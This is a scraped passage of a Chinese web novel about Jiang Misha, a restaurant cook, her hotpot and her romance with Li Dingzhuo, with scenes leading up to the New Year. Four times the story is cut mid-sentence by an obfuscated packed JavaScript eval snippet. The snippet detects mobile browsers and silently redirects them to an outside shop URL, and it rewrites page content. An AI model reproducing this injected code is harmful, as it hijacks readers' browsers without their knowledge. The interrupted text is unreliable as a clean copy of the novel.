对桌已经咕噜咕噜地下各色丸子与菜蔬，宝和蹙着眉，又在暖锅与猪肚中纠结，心底的小声又冒出来，拒绝，却又总想试一回。 片刻后，宝和有了定论：“请打半碗，我尝过，再做抉择。” 江弥杉笑道：“姑娘稍等。” 别家的猪肚鸡是如何做的江弥杉不大知晓，但江记的猪肚鸡讲究鲜嫩。 先煮猪肚、大火熬汤，至汤底雪白再下入鸡块炖煮。 融合了猪肚与鸡的鲜美醇厚，冬日里，暖乎乎地喝上一碗，美味有舒爽。 江弥杉盛来一小半碗，黄白的鲜汤中，汪着一块鸡与几片猪肚条，袅袅白烟飘舞而出，携出鲜味抚动着鼻息。 宝和忽感觉，猪肚的存在，似乎并未太过难以接受。 她捏起汤勺，又轻又缓地呈起一勺汤，深吸一口气后，浅浅抿了一口。 醇厚的鲜美暖暖的从舌尖包围而下，化作一股暖流泄入身心。 随暖意附着与口唇的鲜美，似沁软了舌，回味无穷。 宝和捏着勺，没有一丝她印象之中的那股缠绕着的膻腥回溯，嘴角轻轻生出一抹花靥，眸底流出惊喜，又盛一勺入口。 美人怡静怡动，就连喝汤都如此好看，江弥杉也不禁笑起。 看样子，应该是吃得惯的，之前一桌，尝了味，还是接受不了，便点了其他菜。 看宝和停下，江弥杉才问：“姑娘可吃得惯？” 宝和轻放下碗，抬眸对上江弥杉的笑眼，：“请来一套，多谢。” 江弥杉说话时都不由轻柔了几分：“好，姑娘稍等。” 一套暖锅里，配有手工制作的鱼虾丸子、蔬菜肉丸、腐竹、豆泡、菜蔬、鱼片等十多种菜品。 送上桌时，两位侍女问过宝和的意思，才端起碟子，拨下菜食。 各色缤纷渐渐飘悠再黄白的高汤间，时而撞过红枣，时而与红彤彤的枸杞擦肩而过。 丸子弹软鲜香，被热汤香软的菜蔬，鲜美清甜。 宝和吃得轻慢，但融入菜食的暖意却累积起来，带着身子都暖洋洋的。 配着的蘸料，有了醋与小米椒的点缀，鲜美中微微带着酸辣味，蘸上酱汁，也别有一番风味。 宝和又点两套蘸料，抬眼与两位侍女道：“你们也吃些。” 两位侍女轻声回是，却依旧未坐下，站着吃撩拨已久的美味。 结账由江弥杉来，宝和笑着称赞：“暖锅很美味。” 江弥杉：“姑娘吃得满意，是小店的荣幸。” 宝和：“可否，由府上的人，来提一份？” 如此美味，她想让阿泽也尝尝。 外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009227|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卖的事情，江弥杉也考虑过，但餐具也需要一份钱，受理菜品又得分出一份力，尤其是火锅。 天气寒冷，大多人自然希望不出门就品尝到美味，外卖就是最好的选择…… 既要兼顾堂食，又要兼顾外卖，菜品的供应、流转就成了问题。 当下，还还并不适宜…… 江弥杉无奈解释：“实在抱歉，当下食肆只许堂食，不好开先列。” 宝和很是可惜，阿泽通常天暗才回府，当值时怕是无缘尝不到这等美味了。 也只好等休沐再来。 宝和欲走，江弥杉却出声叫住：“等等。” 宝和诧异，又听江弥杉轻声说：“劳姑娘转告贵人，请她安心，弥杉今后会更谨慎、小心，少落入麻烦中。” 宝和先是一愣，听弥杉说完，笑意更深，目中浮上满意，轻点两下头。 ：“姑娘可叫我嘉容。” 江弥杉轻笑一声，：“嘉容姑娘慢走。” ＊ 入夜，江记食肆走了一批食客后，当下只有一桌食客尚在是用。 秦绍麒坐于第一桌，伸筷子涮着鱼片。 ：“庆祝你大病初愈，今日我请客！” 章文安一面走，一面笑着与身旁的李定卓说话。 问声，江弥杉抬眼望去，来人真是李定卓与章文安。 李定卓目光停在弥杉眼前，唇角不可察的升起。 江弥杉也回他一笑，可下一刻，李定卓转移目光，顿时面色骤变。 江弥杉诧异地顺着望去，那个方向，只有秦绍麒一人。 什么情况？ 她错过了什么？ 江弥杉望了眼秦绍麒，又望向李定卓，揣测两人之间发生了什么。 彼边，秦绍麒似忽感应到目光，转头寻找，一眼寻到，竟是李定卓，他诧异地挑起眉。 活阎王，不是出了名的挑剔吗？ 但秦绍麒也只是向他客气地一笑，顺带又与江弥杉道：“江姑娘，请再添些茶水。” 江弥杉：“好，公子稍等。”说着就提起茶壶，往一桌走去。 章文安见李定卓面色不善，也觉奇怪，秦绍麒也未得罪过定卓，怎么见了面，反倒是像遇见仇人一般。 章文安凑近了，轻声道：“他何时得罪了你了？” 李定卓一双眼睛盯在江弥杉的笑脸上，语气淡淡：“与你无关。” 章文安蹙眉，顺着瞧过去，就见江弥杉提着茶水走来。 ：“江姑娘，今日有什么好菜啊？” 江弥杉走至李定卓二人身侧，先为李定卓斟茶：“今日新上一套猪肚鸡暖锅，肉菜皆有，供十几种品类，是清汤锅底，公子们可来一套尝尝。” 章文安：“来一套，今日李兄大病初愈，正好合适！” 江弥杉先是一愣，决定将戏演下去，目光落至李定卓身上，带着几分打量：“公子受伤了？” 没等李定卓回答，章文安已抢道，：“一点小伤，如今已经修养好了。” 江弥杉笑说完一句原来如此，心想以后绝不能信他们口里的小伤，转身去拿菜。 李定卓转头看去，纵是章文安都察觉出异样。 ：“你怎么总盯着江姑娘看？” 31. 猪肚鸡暖锅（下） 李定卓眸底波澜不惊，端起茶，目光扫向有疑问的章文安，轻飘飘地吐出两个字：“习惯。” 章文安不信，抱起手，狐疑地上下打量定卓。 平白无故盯着姑娘看，发生在任何人身上都不奇怪，除了李定卓。 联想起近日的事情，再联想到李定卓对江弥杉的上心，章文安道：“有句话叫近水楼台先得月，是吧？” 李定卓抿一口茶，面色如常般冷静，应一声嗯，轻轻搁下茶盏， 看定卓如此反应，章文安便明白了，若是没有这回事，他定然会沉脸说你想多了，并且，说不定，已经得月了，他会如此平静！ 可，他怎会丝毫不知，除非…… 章文安深吸一口气，抬手空点两下，质问：“背着我来了多少回了？” 李定卓：“数不清了。” 章文安又深吸一口气，忍下揍李定卓的一顿的想法，：“换你请客，否则我立刻就走。” 李定卓：“我请。” 章文安瞥一眼，哼了一声，：“算你还有良心。” 自幼相识的情分，居然隐瞒他！！ 不行，得告诉江弥杉。 暖茶喝过几口，暖锅的菜品由江弥杉与兰香上齐。 此时，秦绍麒起身去柜台结账，江弥杉先走出一步，手却忽得一热，她挑起眉，转头间先对上了两双诧异的眸子，而后就对上李定卓抬起的乌眸，一瞬间，似乎明白了什么。 兰香抿唇，又瞧眼抽不开身的江弥杉，默默转身往柜台走去。 柜台前，秦绍麒瞧得一清二楚，李定卓握住了江姑娘的手，并且，江姑娘并无反抗，如此，只有一种可能，那便是李定卓得了江姑娘的芳心。 适才李定卓盯着他，兴许就源于他与江姑娘的往事。 想及此处，秦绍麒无奈地淡淡一笑，见兰香走来，便收回视线。 彼边，江弥杉微微笑起，：“菜还未下呢。” 章文安咳一声，抬眼道：“江姑娘，我单独一桌吧。” 李定卓松开手，目光却未离开。 江弥杉将菜逐一拨下，转头对李定卓道：“今夜陪我走走。” 李定卓微微一笑：“好。” 菜蔬与丸子奔流于滚滚热汤，彼此缠绕后又松开，漫漫诱人的鲜香扑鼻诱来，热气散溢，暖意罩人心间。 江弥杉离开后，章文安啧啧两声，盯着一个红粉的丸子：“大庭广众之下如此行为，我说出去，几乎没人会信。” 李定卓：“情难自禁。” ：“你从前可不这样。” ：“你不懂。” ：“······” 章文安不甘心地哼了一下，瞅准丸子，稳稳夹住，送至口边吹凉，只小小咬一口，绵糯弹牙的丸子，鲜美非常，海鲜的鲜美与醇香的汤底交融在一处，那抹鲜在寡淡口中勾出簇簇精彩，十分美味，若不是丸子太烫，他真想一口嚼进去。 这该多爽快啊！ 冬日，就是吃如此暖锅才能温热身心嘛！ 李定卓捞起一条飘过的腐竹，停在碟上等着热气散去，才送入口。 软滑的腐竹被闻着就鲜意满满的汤汁浸透，鲜软地舌尖轻轻起舞，浮出豆类独有的清新香意，风味与鲜美，恰到好处地结合在舌尖，激醒味蕾。 与在宫里吃过的不同之处，便是他不会感觉腻，即便汤底是鸡与猪肚，依旧没有一丝腥味作乱，打扰这份美味。 因此，当汤底浸入菜蔬或丸子时，既不会破坏食材的本味，也不会使人反感。 也只有江弥杉，一切都能处理的恰到好处，只是恰到好处，就已是难得。 李定卓唇角在不经意间扬起，大病初愈，能吃如此佳肴，的确不错。 大堂中，两人沦陷与暖热的鲜美之中，厨间亦然火热。 兰香拉着方万宜，在江弥杉面前，演示适才所见。 ：“就是如此，李公子就如此抓住了姑娘的手。” 江弥杉：“······” 方万宜：“······” 兰香：“我从前是真看错了，原来李公子，也有如此一面。” 江弥杉无言微微一笑，李定卓的行为，除了那日在厨房，其余时候的确没有大庭广众之下，太过直接，这到是第一回。 厨房的一回，再有这回，相同之处，兴许便是秦绍麒。 难怪，李定卓会如此看重名分。 江弥杉笑眼弯弯：“先收拾厨间，一会儿，我晚些回去。” * 江记打样后，章文安、兰香、方万宜就各自先走了。 昏暗的道间，李定卓右手握着灯笼，一笼亮光投入身前，随着漫步而前移。 四下静谧，风声胜过簇簇脚步声，无意间擦碰在一起的手，是凉意中不多的暖热。 江弥杉捻磨着指腹，又悄抬眼观察身边神色平静的人，心里忽窜上一股失落，丝丝缕缕的缠绕着，她深吸一口气，默默将手捏成拳头。 ：“为何，你甚是在意秦公子？” 凉风携过一句轻语传至耳畔，李定卓眸光一滞，垂眼望向肩旁神色淡淡的弥杉，一时间不知该如何说他暗中窥探的事。 他不在乎秦绍麒，甚至在此之前从未多看一眼。 直至，他出现在江弥杉身边。 四下人烟稀少，李定卓停下脚步，灯笼隔在二人之间，他档住江弥杉，垂眸，话语温和：“因为你。” 江弥杉心头一动，抬眸，：“活该，谁让你不早与我袒露的。” ：“我……我想你该有更安稳的生活。” ：“后来呢？” 听得原因，杂乱的思绪在尾音中却清净下来，心也跟着平静，江弥杉声音都软了些。 李定卓长睫颤动：“不管不顾了，无法克制。” 江弥杉唇角微微泛出笑意：“不担心我生活不安稳了？” ：“……”李定卓无法答复。 江弥杉：“若是连这点勇气都没有，我今日不会站在你面前与你说这些。” 夜色中，李定卓对着那双乌亮的灿目，心跳乱如麻。 江弥杉拽上李定卓的手腕，往前走，：“真冷，别站道上了。” 李定卓踉跄一下，随之被拉走，二人又并肩而行。 江弥杉又松手，垂在腿边。 蹭起的暖热忽远忽近，忽高忽低，若即若离地缠绕于指间，越是如此，便越是想要捉住它，紧紧抓在手中。 李定卓伸手，再将要勾住时，又犹豫地手回抬起的指。 走出暗色，眼前烛火点点，兴许是冬日寒凉，街道上并无太多人。 稀疏的人影中，前方有一位男子犹豫再三，牵上身边女子的手。 李定卓侧眸，目光从江弥杉微微挑起的眉上拂过，她看似，很满意。 李定卓喉结往下一动，在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009228|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又一次触碰时，绕上前，紧紧握住那抹即将离开的暖意。 江弥杉唇角微微扬起，轻轻搭上，心道孺子可教也。 只有握在手心时，踏实的感觉，才有了实感。 李定卓望着前方星光点点，：“我与你讲个故事吧。” 江弥杉抬眼，嗯了一声，猜想李定卓大约是借此讲述身世。 ：“从前，有一户人家，一家三口，经营着一家小馆，很是幸福。” ：“直到孩子长到六岁，那日，他在店里熬制辣酱，他的娘亲去庙宇上香，却不想被一位贵人看重，强行掳走，他的娘亲不堪受辱，悬梁自尽。” ：“小男娃的父亲在外砍柴，那府里的下人却将尸首当着父亲的丢弃至门口，父亲上前争问无果，投搞无门，反倒最后被打死。” ：“那一家三口，就只剩那小男娃。” ：“小男娃想要报仇，但无路可走，这时，他遇到了一位英姿绰约的将军，是将军带他进了京城，送他去武馆学武、识字，说待他学成，就亲自教他。” ：“后来，将军一家受冤蒙难，他千辛万苦地潜藏至始作俑者的仇敌身边，收集证据，只等报仇那一日。” ：“将军冤屈得清，他也大仇得报，将害死爹娘的罪人，尽数绳之以法，而后，他遇到了将军的女儿。” 说到此处，李定卓停了下来，轻轻叹一声。 江弥杉眉头越听越紧，难处都是简短一句话就带过，可听他心平气和地说出来，她心里更难受。 对上他之前说的不能食辣的事由，江弥杉心底顿时涩涩的苦覆盖。 眼眶都不自觉泛红，抬起湿漉漉的眼，却对上神色平静的李定卓。 哭，似乎对他而言已是欲哭无泪了。 平静，只是爆发后的沉寂。 但，江弥杉还是问出了心中疑问。 ：“所以，是因为我是江弥杉，你才无法克制？” 李定卓思索片刻，答：“初时的关注是因为你是将军的幼女，而后的无法克制，是因为你。” ：“纵使，有另一个江弥杉，那也不是你。” 江弥杉抿唇，左手握紧成拳，还在轻颤，一汪心池被搅得风波不静，扑通扑通地冒起热泡。 又在呼吸间，将热意传遍全身。 行至一处十字路口，江弥杉牵李定卓至无人的死胡同中。 江弥杉踮起脚尖，凑至他耳畔，轻声道：“我当下，很想吻你，你可愿意？” 耳廓染着缱绻的湿热，一字一句，都摸上了耳，一刹那，烧热的感觉在耳廓散开，眨眼间的愣神后，李定卓没有回答。 他抬手环过江弥杉的腰肢，在她离开耳的一刻，低头而下。 上回，一切都过于莽撞与肆意，思绪仅停留于侵占的更深。 当下，轻轻含入，却是比那夜更甚的甜软，轻而缓地触品甜意。 凑近的湿热交织，钻入彼此鼻息，紧贴的心室，相互回应着彼此。 江弥杉怀抱住他，微微张口，学着电视剧里的方式，随之吻合，探索。 又在不经意间躲避，以此获取空气。 然而，热掌箍住她的后脑，只是唇的触碰无法再使心满意。 握在腰间的热掌，收拢了几分，紧紧贴合，一丝空隙都不在存有。 江弥杉悄悄睁眼，数着他眼下的长睫颤了几回，心潮随风翻涌间，眸底浮出甜笑，又轻轻阖眸。 32. 冬假 江记的暖锅如火如荼，还未有几日，京城的几家酒楼就跟着推出了猪肚鸡暖锅。 京城的第一场雪落下，江弥杉愉快地宣布，江记食肆开春后营业，进入“寒假”。 休息的第一日，接近晌午，三个屋才有了动静。 雪落了一夜，廊檐之下，白雪堆积成一层地毯，铺至整个院落。 用昨夜存的热水洗漱过，江弥杉穿着夹袄，手插在袖中，刚探出头，就被一阵袭脸而来的冷风刮得一抖，待风过了，她才迈出房屋，一脚踩下，雪就塌下去，留下一个脚印。 通往厨房的雪路之上，已有两条深浅不一的足迹，江弥杉迈大步朝厨房走。 走入时，兰香正蹲在地上燃炉火，方万宜往茶壶打水，听见脚步声，一齐转头往门口看。 江弥杉笑道：“早上好！” 虽然已时近正午······ 兰香又投入一根木柴，：“姑娘，今日兴许还要再等几刻。” 江弥杉走近，：“那就简单吃一点吧。” 思索片刻，江弥杉望向提着茶壶走来的方万宜，脑内灵光一闪，：“茶泡饭如何？” ：“用烟熏鱼肉，加上酱黄瓜，腌梅子，码于饭上，倒上茶水浸泡······” 兰香起身，眼睛一亮：“就吃这个吧！” 方万宜点头：“我去拿茶叶，用龙井可好？” 宫里送来的物资，品质都甚是不错，其中龙井口感清爽，又无苦涩之味，用作茶汤，浸泡米饭就十分适宜。 三人的茶泡饭，所用的时间不长，昨夜剩下的米饭用热水浸后，盛完正好够三碗，熏制而成的蛋黄鱼肉撕成细丝码在晶白的米饭之上，再点缀上酸溜溜的黄瓜片，两颗深红的梅子，撒上炒香的芝麻与晒干的紫海苔，最后浇入热气漫漫的龙井茶。 淡黄的茶汤浸过米饭，送来清爽宜人的茶香。 三人在正屋用饭，八仙桌前的炭盆烧足了碳，室内并无一丝冬日的寒冷，唯有窗外的风声还露着寒意。 兰香拌匀饭，感慨：“这几旬都吃茶泡饭该如何是好？” 方万宜微笑道：“除非你夜夜看话本子，否则应当是不会的。” 兰香：“······” 方万宜吃下一勺清香，微微的酸位增色，咸香的鱼丝，味道一刹那就丰富起来，她笑着摇摇头。 江弥杉没看过几本话本子，：“讲什么的？” 兰香来了兴趣：“讲得是官宦千金和进京学武的少年相遇的事迹，少年郎对千金一见钟情，二人以纸鸢传情，嘿嘿，可好看了。” 江弥杉挑起眉头，：“待你读完，借我也看看如何？” 兰香哎呀一声：“我有许多册呢，姑娘想看，来找我拿就好。” 碳火噼啪作响，方万宜目光扫过冒火星的碳，又盛一口饭咽下。 ：“我得在开春前，仔细地看完这几册话本子，但，我不会起晚的。”兰香认真地瞪眼保证。 方万宜：“这是你的事。” 江弥杉：“并非不能晚起，起晚了，自己做饭，也可。” 兰香：“……” 姑娘与万宜做出的饭食，与她做的饭食，可不是能对比的。 再者，姑娘兴许会被李公子接走，到时候，若是起晚了…… 以后早睡半个时辰！ ＊ 冬雪时落时止，朝廷也放了休沐假，一早，江弥杉蒸上酸菜土豆丝包子，就乘车去了永盛街。 永盛街的宅院大多住着官员，李定卓的宅院也坐落其中。 天寒凄冷，周旺也搬来了李宅，照看宅院之余，继续负责接送江弥杉。 车行入内院，先传来周旺的一声大人。 江弥杉唇角扬起，眼底浮起笑意，侧身，掀开帘幔。 李定卓一身墨袍，手中抱着一见玄狐斗篷，站在车侧，轻点两下头，似是察觉到有目光投注在身上，便转头看去。 对上笑眼时，他随风微微一笑。. 江弥杉放下帘子，走下马车，李定卓已来到旁边。 江弥杉穿得很厚实，桃粉袄杉的袖口、领边都围着一圈白绒毛，暖乎乎地围绕着脖颈。 相视而笑，还未说一句话，李定卓便展开斗篷，环护江弥杉身上，系好绳结，顺着牵握住斗篷内的凉手。 周旺转移视线，先行离开。 手被暖热笼罩，暖热似乎沿着手掌，攀溯而上，流入心室。 这样的感觉熟悉至似乎已经成为习惯，虽然时间并不长，但从那日后，夜里，食肆打烊，是如此回到家。 一面往前走，江弥杉笑问：“几日不见，就如此想我？” 李定卓一愣，未料到弥杉如此直接，眨眼间的诧异过后，他心底浮上一抹笑意。 弥杉，本就是如此直率之人。 他垂下温合的眸光，唇角也微微勾起：“嗯，很想。” 江弥杉笑道：“真巧，我也是。” 走进正院，廊檐下正站着吃糕的章文安。 ：“我说嘛，怎么有人早饭吃到一半就跑没影了，原来是去接我们江姑娘了。” 章文安调侃着，又咬入一口糕，笑眯眯的走去。 精确的算准时间，以至于她什么能到宅院都清楚…… 江弥杉诧异地望向李定卓，抓住他眼底滑过的慌张，瞬间又明白了一点。 还不吃早饭！ ：“江姑娘早啊。”章文安道。 江弥杉收回目光，笑道：“章公子早。” 章文安先一步走进屋，八仙桌上还放在半碗粥与一盘油条。 李定卓松手，轻咳一声在就弥杉未说话前，重新打了一碗粥。 李定卓吃着粥，听着身旁的闲聊，目光落往江弥杉身上。 ：“江姑娘，你说是否太过分了，我和他可是自幼相识，他居然不告之我！” ：“你们何时确定心意的？” 江弥杉思索了片刻：“十月二十。” 章文安哼了声：“他在京郊养伤时，我时常去看望他，他都不告知我！” 江弥杉点头：“的确过分。” 若是那日秦绍麒不在，兴许还会瞒更久！ 她接着轻叹一声，目光瞟过去询问。 李定卓放下勺，话音沉闷的解释：“我独自说，真的也像假的。” 江弥杉：“……” 章文安噗嗤一声：“也可。” 这说法倒是讲得通，若是定卓说了，他的确不信，甚至会以为他另有目的。 江弥杉笑着转头，：“别只吃粥，油条也吃点。” 章文安看定卓无动作，：“江姑娘，他连你的话都不听了” 李定桌一眼划过去：“以后你无需来了。”说着就夹过一节油条。 江弥杉展颜一笑，：“珍重。” ＊ 四日几乎在眨眼间就过去，练完匕首时，天色昏暗，刮过的风更寒了几分。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009229|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>章文安提前去厨房帮忙，无旁人在，李定卓带着江弥杉走至后院。 停在一间屋子前，江弥杉摸不准，问：“什么要紧事，怎么带我到这儿？” 李定卓没有多说，推开门，屋内的烛火随吹进的风颤抖，明灭的烛火洒在一桌牌位上，投下的暗影，拉长后停在足前。 江弥杉恍神地迈向前几步，走进屋中。 一桌牌位，除了李定卓的父母，还有江家的四口人，香烛明灭，三炷香燃至一半，掉落一段香灰，填入香炉中。 江弥杉行至蒲团前跪下，磕了三个头，身后，传来脚步声。 她未起，李定卓取了三炷香点燃，跪了下来。 ：“爹，娘，江伯伯，林伯母，兄嫂，我李定卓在此向诸位保证，青天在上，厚土在下，今生，我必会护弥杉平安喜乐，绝不让她再受任何委屈。” 耳边的余音还未散，事情太过突然，江弥杉诧异地眨了几下眼，才转头望向身俯磕而下的李定卓。 烛光又由晦暗，照亮了整个屋子。 这就是李定卓口中的要紧事，比起这个，更让她诧异的是，他为江家不在的人，也设了牌位。 看他直起身，站起，江弥杉才回过神。 又上三炷香，江弥杉才问：“怎么忽得说这些？” 李定卓转头看来，眸底晦暗不明地望着牌位，转过来时，又温和下来。 ：“父母之命，媒妁之言，如此，也好让他们安心。”说着，李定卓便牵住弥杉的手。 闻言，江弥杉淡淡一笑，道：“爹、娘，哥哥，嫂嫂，李伯伯，张伯母，请您们安心，我会照顾好自己……” 她望向李定卓，又道：“也会照顾好定卓的。” 李定卓唇角微微勾起，指腹用了几分力按着手下的温热。 ：“不过，定卓时常不吃饭……” 午间，章文安说起近几日李定卓少食不食的事，她当时没说什么，但都记着呢！ 李定卓低咳一声，拉着弥杉往外走。 江弥杉由他牵着往外走，：“敢做不敢当。” 李定卓直拉入怀，趴在弥杉耳畔，软声：“再不会了。” 江弥杉哼地将头别开，：“我又看不到，你纵使骗我，我也不知。” 李定卓：“有文安在，你问他。” 彼边，章文按分着丸子，转头捂口打了个喷嚏。 今夜吃的是暖锅，汤底是午饭时候，江弥杉熬制的猪骨高汤，只是瞧着她只放姜与盐，其余什么也不放，就由着汤炖着，又去挤丸子。 这边菜蔬、丸子分好，那边就听到脚步声传来。 ：“李定卓，过来端菜！！”章文安扬起声。 一旁盛汤的周旺：“……” 八仙桌团团围坐，桌上热气扑通而起，又下了一轮菜，个人面前的小碟都剩余着一两样菜品。 春节就在一旬后，阖家团圆的日子，虽然终是难圆，但都是熟人，也能凑成团圆。 等待汤再次热涨间，江弥杉将垫在心底的话说出：“春节，诸位可愿到清尚街，一起吃顿团圆饭？” 团圆饭，许久未听到的话语，从前几年，都是他们三人凑一桌随便吃顿饭，各有心事，谈不上什么欢度。 今年…… 餐桌之上，周旺与章文安的目光一起望向李定卓。 李定卓沉默片刻，转过身，微微一笑，与弥杉道：“愿意。” 不止今年，而是年年。 33. 新年（上） 年节前需做得事还不少，吃过早饭，兰香打满最后一桶水，往正屋去。 江弥杉握着扫帚从里间扫出，虽平日里也有打扫，但依旧逃不过灰土的见缝插针，扫过窗边，提起放在炕边的水桶，：“万宜，我扫一下炕边。” 方万宜手里握着帕子，袖口卷至手肘，问声停下擦拭炕桌，往后退了几步。 屋里已是整洁，但应新年的习俗，扫尘除旧，还是得干干净净地打扫一道。 兰香提着水走进，顺手拿着放在门口的拖把，径直往里走，：“我去里间拖地了~” 江弥杉嗯的应了声，继续往外扫。 越靠进门窗，积的灰尘就越多，撮箕里最后积攒了满满一层灰。 兰香托完地，走至一旁的水池，瞧见一撮箕的灰，杵着拖把，浸出污水，感慨：“真不晓得那里来如此多的灰。” 此时，方万宜也提着灰水走来，将污水哗的倒出，摇头轻笑。 打扫干净院子已接近正午，此时院门又被敲响。 江弥杉与万宜在厨间做饭，兰香擦干净手，跑去开门。 兰香打开门，就见提着大包小包的周旺身后跟着几辆车，那时从前庄子送东西来时，便是用这样大小的车，盛着鸡鸭鱼肉，送进厨房。 兰香赶紧将门打开，从周旺手里接过一些午件，退至一旁，方便他进来，：“呀，周管家，快进来！！” 周旺笑着问候：“新年好啊，兰香。” 她回了一句新年好，又往院里喊：“姑娘，周管家送东西来啦！”随后提着东西往屋里走。 江弥杉刚给汤调好味，闻言便跟着出去。 周旺手里还拿着几样，跟在他身后的还有几个提着竹篓、拿着木盆的人，装着鸡、鸭、鱼，肉。 江弥杉接过周旺手里的物件，到是有些重量，猜想兴许是李定卓的意思。 周旺道：“姑娘新年好啊。” 江弥杉笑回：“周伯伯新年好。” ：“先去屋里喝被热茶暖暖，午饭就快好了。” 接着又对送食材的人道：“都送去厨房吧，里面有位姑娘，你们问她放哪就好。” 周旺笑着：“怕是吃不了了，大人那边，还有些事儿没做呢。” 江弥杉领着周旺往正屋走：“是我疏忽了，不过也得休息一阵吧。” 周旺道：“这些物件，都是大人吩咐准备的，有胭脂水粉，衣料稠锻，还有些干果，不晓得姑娘爱吃什么，于是就都买了些。” 江弥杉笑着：“请伯伯代我谢谢他。” 一面说，就一面走进屋里。 屋里的帘幔，铺设都已换了新的，当下焕然一新，看着心情都好了许多。 兰香提进的东西都摆放在桌上，这时已经到了盏热茶端来，：“周管家，喝茶。” 茶叶是碧螺春，前几日宫里又送了许多物件来，其中还有一份红封，护送的仍是送她出来的马夫，特意交代——红封是贵人为姑娘备的压岁钱。 六十六两的银票，愿姑娘事事大顺。 新年的物资，才开始筹办，就已经全了。 江弥杉不知回什么礼，干脆将做好的醒狮酥、龙井茶花糕装了一盒，请他带回。 周旺吃着茶，江弥杉便说去厨房看看，又离开屋里。 方万宜指挥着摆放，靠墙的空地已被整齐摆满，又有几个提着桶的，她问是何物，那人回是牛乳。 此时，江弥杉走来，牛乳两字飘进耳朵，她顿时眼前一亮。 牛奶！ 有牛奶就更好啦！ 江弥杉笑着走至方万宜身边。 万宜先道：“姑娘，牛乳不易存储，当下天虽冷，但还是容易有酸味。” 江弥杉喜色已染眉眼：“别担心，我们可以换些吃法，比如与鸡蛋、面粉混合，烤成糕点，或是用来烹菜，能做的多着呢，放心吧。” ：“午后贴完春联，就做奶茶喝。” ：“配着蛋糕，蛋糕就做成杨梅酱的，酸甜口的，正好解腻。” ：“我们昨日做了糯米糕，夜里还能炒年糕吃……” 方万宜一时间没有太担心了，用牛乳入菜，的确不常见，不过若是弥杉做得话，还是很期待。 方万宜轻笑：“难怪姑娘从前就想着寻牛乳。” 江弥杉忽灵光一闪，问道：“你们是庄子上的吧？” 拿着竹篓的男子回：“是的。” 方万宜凑近轻声道：“姑娘，置庄子所需的银两不少呢。” 江弥杉抓抓耳朵，也只得无奈地放弃。 开春之后，再经营一段时间，她想扩大店面，加盖一层，费用就需要一大笔钱。 江弥杉回道：“那……暂且再等等。” 运送物资的人分了几回送完食材，空了大半的储物间当下也被放的密密实实的，周旺吃完茶，准备告辞，又被江弥杉叫住。 江弥杉取了一盘肉包与桂花糕装入食盒，递给周旺：“是简单的肉包和糕点，灶上蒸着，吃起来也方便，其他的我也不会，只有吃食略拿的出手，还请伯伯不要嫌弃。” 周旺笑着接下：“多谢姑娘。” 兰香送周旺出去，厨间只剩下两人，方万宜切着菜，与身侧拌肉的江弥杉说：“姑娘，你其实很好。” 江弥杉诧异地转头：“啊？” 方万宜微微笑着，：“姑娘并非只有烹调拿的出手，只是因为，烹饪是姑娘最擅长的，用了心地亲手制作而成，我想，以此为礼，大约只有看重钱财的人，会嫌弃与不满。” ：“姑娘本身，是一位很好的人。” 江弥杉却没有想到万宜会这样说，诧异了停滞片刻，目光投向万宜，温声调侃：“夸的我都有些不好意思了。” 两人相视一笑，轻轻笑语流淌。 午饭时简单的一荤一素，青椒肉丝与清炒白菜，兴许是由于忙碌了一个上午的缘故，一碗饭根本无法满足，三人又各添了一碗，菜份的量不多，因此两碟菜都一丝不剩。 又休息了一个时辰，院子里再度忙碌起来。 为了年节，前几日，江弥杉就取出红纸，用来做窗花和春联，兰香手巧，剪出的窗花生动又有趣，难的是江弥杉与方万宜，能够完整的剪出一个像样的窗花已经非常不容易。 然而这也不是最难的。 纵然有记忆的回溯，但真到提笔写春联时，江弥杉还是头疼了许多日，才总算写完了四副春联与福字，与街市专门写对联的师傅无法相比，但三个凑在一桌，琢磨内容的时，还是有趣的。 当下张贴春联与福字，兰香往左挪，又往又挪将要贴在门中的福字，转头问：“如此呢，可偏？” 方万宜蹙眉站在前方，自行观察：“在往右边挪一丝丝。” ：“如此呢？” ：“可以了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 